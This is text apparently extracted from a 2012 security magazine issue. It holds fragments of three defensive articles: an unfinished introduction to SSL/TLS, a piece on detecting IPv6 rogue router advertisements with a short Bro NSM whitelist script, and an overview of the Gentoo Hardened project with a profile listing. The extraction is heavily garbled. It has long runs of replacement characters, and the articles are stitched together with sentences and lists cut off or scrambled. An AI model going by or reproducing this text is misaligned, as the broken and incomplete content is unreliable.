Instead of building security measures in all the application protocols, the Secure Sockets Layer (SSL) protocol provides a secure channel below the application layer thereby making it easier than to make an application protocol a secure protocol. SSL is prominently used to protect the HTTP protocol making it HTTPS. Today it is also used to tunnel an entire network stack, creating a VPN. The SSL specification was developed by Netscape communications. After its version 3.0, a new Internet standard protocol was defined and called Transport Layer Security (TLS). The first version of TLS, version 1.0, was kind of an upgrade to SSL 3.0 with a few enhancements. Most web browsers and servers today support TLS 1.0, though versions 1.1 and 1.2 were also defined later, many browsers and applications are yet to support them. Throughout this article, we may commonly refer to both, SSL and TLS, as SSL.

How SSL/TLS Work SSL provides: •

Confidentiality – the data passing through SSL is encrypted using a symmetric encryption algorithm like DES, 3DES, RC4, AES etc.

����

������� ���

Figure 1. SSL providing security below application and above transport layers

186

Figure 2. Browsers display company name in green for Extended Validation certi�cates

01/2012

DEFENSE

Detecting IPv6 Rogue Router Incidents Using Bro NSM As IPv6 migration slowly gains momentum, situations where administrators responsible for deployment of network equipment have very poor knowledge and non-existent operational experience of the new protocol are unavoidable.

T

hese situations are bound to cause information security events of varying gravity. We use the term information security here as defined broadly by the CIA –triad, CIA for confidentiality, integrity and availability. A well-known issue, the rogue router attack against IPv6 protocol enabled network, exploits the router advertisement (RA) functionality of ICMPv6 protocol. A rogue router incident can be caused by malicious attackers or through poor deployment and configuration of IPv6 capable equipment. Rogue router attack can be used to break the confidentiality of the data, availability of Internet access from local area network (LAN) and data integrity e.g. in form of data manipulation by the rogue router. Thus affecting all three components of the CIA – triad In this article we depict one method for detecting them using open source Bro NSM. Bro Network Security Monitor (Bro NSM) is a flexible open source network analysis framework that is freely distributed under BSD license.

Introduction

Internet Protocol version 6 (IPv6) has been a long time coming. As the protocol is making its entrance several security risks of varying criticality are known to exist. However, the amount of skilled personnel needed to assure the security of IPv6 network deployment as well as awareness of the said risks remains woefully low. Here we concentrate on the one particular issue that is caused by a particular ICMPv6 message in a particular configuration and setting. The ICMPv6 is a much more critical component of the IPv6 protocol than its predecessor ICMP was for Internet Protocol version 4 (IPv4). For example, in IPv6, the functionality that was previously handled by the Address Resolution Protocol (ARP) is now being taken up by the Internet Control Message Protocol version 6 (ICMPv6). Total filtering and blocking of all ICMP traffic did not cripple IPv4, but in contrast disabling the ICMPv6 will discernibly hamper the functionality of IPv6. ICMPv6 runs on top of IPv6, having its own

Listing 1. Partial icmp. bro listing of a development version event icmp_router_advertisement(c: connection, icmp: icmp_conn) {

print_log(c, icmp, ""); if ( |router_whitelist| == 0 || icmp$orig_h in router_whitelist ) return;

NOTICE([$note=ICMPRogueRouter, }

192

$msg=fmt("rogue router advertisement from %s", icmp$orig_h)]);

01/2012

DEFENSE

The Gentoo Hardened Project: Or How to Minimize Exploits Risks If you are reading this, then you might know what Gentoo Linux is. If not, Gentoo Linux is a Linux distribution with plenty of years of history and development. It was born on October 4th, 1999 by Daniel Robbins.

G

entoo’s approach to Linux is evidenced in its philosophy [1], from there it derives the fact that optimization, flexibility and choices are the keystones of the distribution. Gentoo gives users the tools needed for them to shape their Gentoo installation to their liking all the while building and compiling software specifically for their hardware architecture, not relying on pre-built binaries compiled by someone else. That is one of the reasons why you will hear users and developers, say that Gentoo is a meta-distribution because the distribution provides exciting tools that allow users, using the same base system, to build highly secure servers, neat desktops, embedded solutions or even a special VDR system. Gentoo achieves this degree of flexibility through its software distribution system, called Portage [3]. This technology allows the user to manage the local collection of scripts, used by the package manager, to install, update or delete software from the system. This collection is called Portage Tree and has over 10,000 packages ready for the user’s enjoyment. Since the distribution is based on source packages, Portage can offer users great detail in the choices they can make when building software for the target machine. This is achieved by means of a special mechanism called USE flags [3]. USE flags are keywords that can be specified when building software to select/deselect which features a package will be built with. For example, say you want to install a server without a graphical user interface. It wouldn’t make sense to build software with features that use the X server or bindings to Gnome libraries. Portage gives you the ability to (globally, per-package, per-slot or perversion) disable all of those features for all packages to be merged into the system.

196

Besides USE flags, Portage provides something called system profiles. A profile, for short, is a set of default values (e.g. predefined) for various important environment variables that are used when building packages. They set things like default CFLAGS, USE flags, arch keywords and set a certain range of acceptable versions for important packages. You may think of profiles as recommended settings for building and maintaining a system for a specific purpose (see Listing 1 for a list of default system profiles). Before getting into the nuts and bolts of how the USE flags and profiles are related to the Gentoo Hardened Project, let’s take a look at what it is and what does it offers. Listing 1. Default system pro�les in a Gentoo system kafka x86 # eselect profile list

Available profile symlink targets: [1]

default/linux/x86/10.0

[3]

default/linux/x86/10.0/desktop/gnome

[2]

[4]

[5]

[6]

[7] [8]

[9]

[10]

[11]

[12]

[13]

[14]

[15]

default/linux/x86/10.0/desktop

default/linux/x86/10.0/desktop/kde

default/linux/x86/10.0/developer

default/linux/x86/10.0/server

hardened/linux/x86

hardened/linux/x86/selinux selinux/2007.0/x86

selinux/2007.0/x86/hardened selinux/v2refpolicy/x86

selinux/v2refpolicy/x86/desktop

selinux/v2refpolicy/x86/developer

selinux/v2refpolicy/x86/hardened

selinux/v2refpolicy/x86/server

01/2012

������������������������������������������������� ������������������������������������������ �����������������������

����������������������������������������� ��������������������������������������� �����������������������������

��������������������������������������� ������������������������������������������ ��������������������������������������������� ���������������������������������������������

������������������� ���������������������������������

������������������������������������������������������

���� ��� �������� ��� ��� ���� �������

��������������

� ������������������������ ������������������������������������������������������������������������������������������������������� ���������������������������������������������������������������������������������������������������������������������� ������������������������������������������������������������������������������������������������������������������� ����������������������������������������������������������������������������������������������������������� �������������������������������������������������������������������������������������������������������������

���������������������������������������������� ������������������������������� �������������������������

��������������������������������������������������������������������������������������������������������